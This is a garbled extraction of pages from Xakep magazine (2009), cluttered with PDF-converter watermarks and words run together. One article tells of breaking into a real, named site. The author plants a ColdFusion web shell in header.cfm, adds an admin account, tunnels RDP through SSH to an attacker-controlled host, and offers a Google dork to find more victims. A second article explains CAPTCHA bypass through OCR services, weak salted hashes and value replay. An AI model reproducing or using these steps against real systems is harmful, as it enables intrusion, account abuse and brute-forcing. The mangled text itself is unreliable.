|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ФАЕРПОБЕЖДЕН— КАНАЛПОЛУЧЕН
INFO |
info
Получениеинфыиз БДвручную— утомительныйинеблагодарныйпроцесс. Присмотриськсредствамавтоматизации (илиразработайсвой продукт), например SIPT. ИМХО, прога частоглючит, работаетоднопоточно, но сзадачейсправляется. Читайветкуот разработчиканаача-
те— forum.antichat. net/threadnav24918- 1-10.html.
АВОТИПОЛЬЗОВАТЕЛИ
СмотримвконсолиSSH-сервераидикорадуемся—естьконнект! Теперьзапускаемmstscиконнектимсянаlocalhost:3390.Нашему взорупредстаетокновходаWindows2000.Вводимтудаданныедобавленногоcпомощью«netuserадминистратора»инаслаждаемся графикойсправамиадминистратора.Ура,можнохлебнутьнастоя- щегорок-н-рольногопойла,тоестьвиски,иотпраздноватьуспех.
ГЛАВА7, ИЛИДАЕШЬ АВТОМАТИЗАЦИЮ
Напервыйвзгляд, всезамечательно, нокаждыйраззаходить наweb-shell изапускатькомандунаподключениепоSSH наследующийденьсталослишкомутомительным. Поэтому
наикрутейшийColdFusion-шеллбылнемногомодифицирован дляисполнениякомандыподключениябезучастиячеловека. КодмодификациишелласмотринанашемDVD.
Кусоккодабылзаныканвфайлheader.cfm, который, всвою очередь, подключаетсякбольшинствуфайловCMS. Далее создаемпростуюформу, указывающуюналюбой*.cfm-файл насерваке, иполучаемпростойспособорганизацииRDP.
<form action="http://www.ism.ws/about/ MediaRoom/RequestForm.cfm» method="POST"> <table>
<tr><td>IP-адрес узла для туннелирования:</ td><td><input type="text" size="20" name="ip" value="m0r0superdedik.com»></input></td></tr> <tr><td>Порт SSH:</td><td><input type="text" size="20" name="port" value="22"></input></ td></tr>
<tr><td>Имя пользователя:</td><td><input type="text" size="20" name="login" value="st"></input></td></tr> <tr><td>Пароль:</td><td><input type="text" size="20" name="password" value="password"></ input></td></tr>
<tr><td></td><td><input type="submit" value="GO!"></td></td>
</table>
</form>
ЭПИЛОГ, ИЛИВСЕ ТОЛЬКОНАЧИНАЕТСЯ
КогдабылнайденсайтразработчикаCMS, рукигорелипроверитьегонапрочность. ОшибкавCMS быланатомжеместе. ВоттолькотаблицаSM_Sites содержалаоднуединственную пустуюзапись, имечтыобFTP неосуществились. Пароли былизашифрованы, и, судяповсему, темсамымзловещим iMIS (длина120 бит). Возитьсябылоуженеохота, такчтомы решилиоставитьэтотебе. Нуачтобыбылстимул, вбейвGoogle inurl:navItemNumber — 12000записейбудутманитьтебяи вдохновлятьнаподвиги. Доводи любое дело до конца, каким бы нереальным это ни казалось, иначе любое твое начинание лишено смысла. Все описанные действия совершены под музыку Брамса (спасибо «_xCort_» с torrents.ru). Перефразируя слова бессменного ведущего программы «Дым под водой» Кирилла Немоляева: «Слушайте классику и будьте счастливы!». z
052 |
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|
|
|
|
|
|
||||
w Click |
to |
|
|
|
взлом |
|
|
||||||||||
|
|
|
|
|
|
||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
S4AVRD0W
/ S4AVRD0W@P0C.RU /
ПОДСМОТРИМ ИРАСПОЗНАЕМ
ВЗЛОМCAPTCHA-ФИЛЬТРОВ
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
||||
|
|
|
|
|
|
X |
|
|
|
|
|
||||
|
|
|
|
|
- |
|
|
|
|
|
|
d |
|
||
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
|
|
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
d |
f |
-x cha |
n |
e |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
>> взлом
Фильтрыcaptcha получилиширокоераспространениеиповсемест- ноиспользуютсявмногочисленныхинтернет-сервисах. Ноневсе captcha-фильтрыодинаковыполезны. Многиеизсуществующихреализацийсебянеоправдывают, алишьраздражаютсвоимприсутствиемобычныхпользователей. Онедостаткахпримененияcaptcha-филь- тровипойдетречь.
CAPTCHA (Completely Automated Public Turing |
интеллектаифилософии, авнашевремяеще |
Условновсеспособыможноразделитьна |
test to tell Computers and Humans Apart, впро- |
инашлаприменениевборьбесавтоматизи- |
уязвимостивреализацииифундаментальные |
стонародье— «капча») — полностьюавтомати- |
рованнымпрограммнымобеспечением. |
недостаткисамойконцепцииприменения |
зированныйпубличныйтестТьюрингадляоп- |
Внаиболеераспространенномварианте |
captcha-фильтров. Куязвимостямреализации |
ределениякомпьютеровилюдей. Восновном |
использованияcaptcha-фильтровтребуется |
относятсяследующиераспространенные |
используется, когданеобходимопредотвратить |
ввестисимволы, какправило, изображен- |
проблемы. |
выполнениекаких-либоавтоматизированных |
ныенапредлагаемомрисункевискаженном |
1. Автоматизированноераспознавание. Ав- |
действийвотношенииинтернет-сервисов, |
видеиобычно— сдобавлениемнекоторого |
томатизированноераспознаваниекапчиили |
вчастности, дляпредотвращенияавтомати- |
«шума». Могуттакжеприменятьсядругие |
задачаOCR (оптическоераспознаваниесим- |
ческихотправоксообщений, регистраций, |
плохоалгоритмизуемыезадачи, основанные |
волов) — этооднаизсамыхострыхпроблем |
проведенияатактипаподборпароляит.п. |
налогикемышлениячеловека, например: |
примененияcaptcha-фильтров. Деловтом, |
ПонятиеТестаТьюрингабыловведеноАланом |
указать, чтоизображенонакартинке; ввести |
чтовомногихслучаяхсуществуетвозмож- |
М. Тьюрингом(1912-1954) вработе«Играв |
всесимволы, которыесоприкасаютсясчем-то |
ностьавтоматизированногораспознавания |
имитацию». Задачатакоготеста— опреде- |
(вспоминайкошекнаrapidshare) ипр. Как |
текста, нанесенногонаизображение. Тотже |
лить, обладаетликомпьютернаяпрограмма |
альтернативакартинкаммогутприменяться |
Adobe Fine Reader суспехомможетраспоз- |
интеллектомили, точнее, можетлионавы- |
капчи, основанныенараспознаванииречи. |
наватьслабыереализацииcaptcha (смотри |
даватьсебязачеловека. КритерийТьюринга |
Встречаютсятакжекапчи, гдепредлагается |
скриншоты). Различногородаискаженияс |
описанввидеигры«Имитация». Берется |
ввестиответнапростоеарифметическое |
добавлениемшумовнаизображениеспособ- |
одинмужчина, однаженщинаипрограмма, |
действие(90 + 72 = ?). |
нылишьснекоторымпроцентомуспешности |
которая, неимеяинформацииополовойпри- |
ПРАКТИКА ОБХОДА |
воспрепятствоватьэтому. Ведьчемболееис- |
надлежностиучастников, задаетимвопросы. |
каженаинформациянаизображениидлявво- |
|
Еецель— определитьполлюдей. Несмотря |
CAPTCHA-ФИЛЬТРОВ |
да, тембольшепроблемвозникаетуконечного |
накритикуэтойтеории, онавнеслабольшой |
Сегодняизвестнодостаточномногоспособов |
пользователя. Разработчикамфильтровпри- |
вкладвразвитиесистемискусственного |
обходаразличногородаcaptcha-фильтров. |
ходитсянаходитьнекийкомпромиссмежду |
054 |
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
>> взломw Click |
|
BUY |
|
|
|||||||||||
w Click |
to |
|
|
|
|
|
m |
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
максимальным
искажением информациии
способностьюпользователяпрочитатьиввестизначениеза
приемлемоеколичествопопыток.
На фоне подобного недостатка появилось несколько проектов по практической демонстрации задач OCR. Наиболее извес-
тные из них — это UC Berkeley Computer Vision Group, PWNtcha и CAPTCHA Killer.
Ваш покорный слуга, выполняя пентест одного банковского web-приложения, имел возможность познакомиться с последним более близко.
Проект CAPTCHA Killer заинтересовал, прежде всего, тем, что работа с ним основана на использовании API, и есть возможность легкого встраивания функции по автоматизированному взлому капчи в собственные приложения. На PHP это выглядит примерно так:
...
// передаем капчу на анализ $fields = array('api_key' => $api_key,'method' => 'upload_ captcha', 'captcha_url' => 'http://non/');
$files = array(array('name' => 'file','type' => 'image/
jpeg','file' => $hash.'.jpg')); $response = http_parse_ message(http_post_fields("http:// www.captchakiller.com/api.php", $fields, $files))->body;
...
// ждем результата анализа изображения
$fields = array('api_key' => $api_key,'method' => 'get_ result','captcha_id' => $captcha_ id);
$response = http_parse_ message(http_post_fields("http:// www.captchakiller.com/api.php", $fields, $files))->body;
...
Работас проектомпоказалавысокуюэффективность— порядка80% генерируемых изображенийбылораспознанобезупречно. Ограниченныйнаборгенерируемыхна изображенияхсимволов(использование тольковерхнегорегистра) позволилповысить эффективностьвектораатакиещена10%. Наанализодногоизображениятратилось
XÀÊÅÐ 06 /126/ 09
около20 секунд. Вподобныхусловияхна твердую«четверку» моготработатьвекторпо переборупаролейкаккаунтамисследуемой системы… еслибынеодно«но». Ограничения проектаCAPTCHA Killer непозволяютраспознаватьболее20 изображенийвсуткипри использованииодногоаккаунтавихсистеме. Ключевоесловотут— «одного». Насайтепроектасуществуетбаг, позволяющийрегистрироватьнеограниченноеколичествопользователей. Привсемуважениикпроекту(насайте дажебылозамеченоиспользованиезащиты отCSRF) авторынестализаморачиватьсяпо поводуразработкистойкойкапчи, апросто просятприрегистрацииновогопользователя сложитьдвачисла, которыепопадаютвсырой HTML-код. Длямоихцелейдостаточнобыло лишьсамоговектора, нотыможешьвоспользоватьсяэтимнедостатком, правда, думаю, багдовольнобыстроприкроют.
ЧтобыубедитьсявэффективностиOCR вполевыхусловиях, япровелнебольшоеисследованиевотношениитакихсервисов, какYandex
капчуосуществляетсяпутемсравнениястепенипохожестисимеющимисяэкземплярами. Илиболеепростойслучай— еслидлякартинок неиспользуютсяразличногородаискажения идобавлениешума. Тогдапростосверяются контрольныесуммы, истановитсяпонятно, с какимпарнокопытныммыимеемдело.
3.Уязвимостиприпередачезначениякапчи вбраузерпользователя. Какустанавлива-
етсясоответствиемеждузначениемкапчии генерируемойкартинкой? Многиеразработчики captcha-фильтровпочему-тополагают, что вместонекотороговнутреннегоидентификатора лучшепередаватьвбраузерпользователязависимоезначениеотгенерируемойкапчи(хешот генерируемогозначения). Ивпоследствииосуществлятьпроверкупоэтомузначению. Причем, поройпередачаосуществляетсяввидеоткрытоготекста(тоестьзначениекапчипередается, например, какзначениескрытогопараметра формы) илисуществуетвозможностьобратимого шифрованияпередаваемогозначения. Иногдареализуемыиболееизощренные
«ПРОЕКТCAPTCHAKILLERЗАИНТЕРЕСОВАЛТЕМ,ЧТОРАБОТАСНИМОСНОВАНА НАИСПОЛЬЗОВАНИИAPIИЕСТЬВОЗМОЖНОСТЬЛЕГКОГОВСТРАИВАНИЯФУНКЦИИ ПОАВТОМАТИЗИРОВАННОМУВЗЛОМУ КАПЧИВСОБСТВЕННЫЕПРИЛОЖЕНИЯ».
иGoogle. Всегенерируемыекапчинаресурсе Yandex распознаютсябезособыхусилий. Для Google векторатакипораспознаваниюкапчи выглядитменеевпечатляюще: удаетсяраспознатьтолько20% генерируемыхизображений.
Ноиэтогоболеечемдостаточно, например, для автоматическойрегистрацииновыхящиков электроннойпочты. Аеслиучесть, чтоработать можновнесколькопотоков... Другоедело, что притакойскоростиособонепобрутфорсишь, но, какговорится, невсежекотумасленица.
2.Ограниченноеколичествовариантовизоб-
ражений. Самыйяркийпример— этокапчис изображениямиразличнойживности. Недостатокподобногоподходакроетсявтом, что количествоизвестныхобычномуобывателю животных, птиципрочихсуществограничено, аэтопозволяетсформироватьбазувсех возможныхвариацийкартинок.
Эксплуатируетсявектордостаточнопросто. Сначаласобираютсякартинкисовсеми доступнымиизображениямиживотных. Ив зависимостиотреализациисистемы, атакана
атаки, направленныенаэксплуатациюподобноготипауязвимости. Дляпримеравозьмем следующийкод, скоторыммнедовелось встретитьсяприаудитеодногокрупного интернет-сервиса:
...
my $key = int (rand 10000); my @symbols = ('0'..'9'); for ( 1..5 ) {
$q .= $symbols[rand @symbols];
}
my $hash = sha1_hex( uc($q), $key );
...
Чтотутнетак? Ограниченныйнаборсимволовпригенерациикапчи, слабая«соль» (salt) и, какследствие— небольшаяэнтропия возможныхзначенийхеша. Ахеш, всвою очередь, передаетсявбраузерпользователя. Всеэтопозволяетсформироватьзаранее подготовленныетаблицысоответствияхеша
055
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|
|
|
|
|
|
|||
w Click |
to |
|
|
|
взлом |
|
|
|||||||||
|
|
|
|
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ПРИМЕРЫУЯЗВИМЫХКАПЧДЛЯАВТОМАТИЗИРОВАННОГОРАСПОЗНАВАНИЯ
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
||||
|
|
|
|
|
|
X |
|
|
|
|
|
||||
|
|
|
|
|
- |
|
|
|
|
|
|
d |
|
||
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
|
|
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
d |
f |
-x cha |
n |
e |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ПРИМЕРЫCAPTCHA, КОТОРЫЕБЫЛИРАСПОЗНАНЫ СОТРУДНИКАМИИНСТИТУТАБЕРКЛИ
кгенерируемомузначениюкапчи(rainbow tables). Сподобнымитаблицамилюбойзапрос captcha-фильтрауженебудетпрепятствием дляпрограммногобота, прогуливающегосяпо уязвимомуресурсу.
4.Возможностьповторногоиспользова-
ния. Этотипичнаяуязвимостьнетолькодля captcha-фильтров, ноидляweb-приложенийв целом. Уязвимостьвключаетвсебяследующиенедостатки:
•Использованиеидентификаторасессиибез вводакапчи;
•Повторноеиспользованиезначениякапчи. Эксплуатация первого недостатка заключается в том, что человеком вводится значение captcha при прохождении аутентификации
вприложении. После чего боту передается значение идентификатора сессии web-при- ложения (например, cookies). И когда приложением не осуществляется мониторинг действий авторизованного пользователя, бот сможет беспрепятственно выполнять свои функции.
Повторноеиспользованиезначениякапчи встречаетсявдвухслучаях. Впервом— не производитсяочисткаиспользованных значенийкапчи, введенныхпользователями. Достаточнополучитьодноверноезначение
РАСПОЗНАВАНИЕКАПЧИGOOGLE СРЕДСТВАМИCAPTCHA KILLER
ДАЖЕТАКИЕКАПЧИУЯЗВИМЫКOCR
капчииегоидентификатора— истановитсявозможнымбеспрепятственнообходить captcha-фильтр. Вовторомслучаепроблема возникает, когдадопускаетсядолгосрочное хранениесгенерированных, ноникемне использованныхзначенийcaptcha-фильтра, иприэтомотсутствуеткакая-либопривязкак идентификаторукапчиприпроверкеегозначения. Этопозволяетпроводитьвекторатаки типабрутфорс. Например, одинпотокосу-
ществляетбесконечныеобращениякмодулю генераторакапчи, авторой— осуществляет переборпопостоянномудиапазонузначений (вспоминайтеориювероятностиипоймешь, почемунадоиспользовать«постоянный» диапазонзначений). Вситуации, когданабор символовпригенерациизначениякапчи ограничен(используются, например, только цифры), векторатакиможетбытьдостаточно эффективным!
056 |
XÀÊÅÐ 06 /126/ 09 |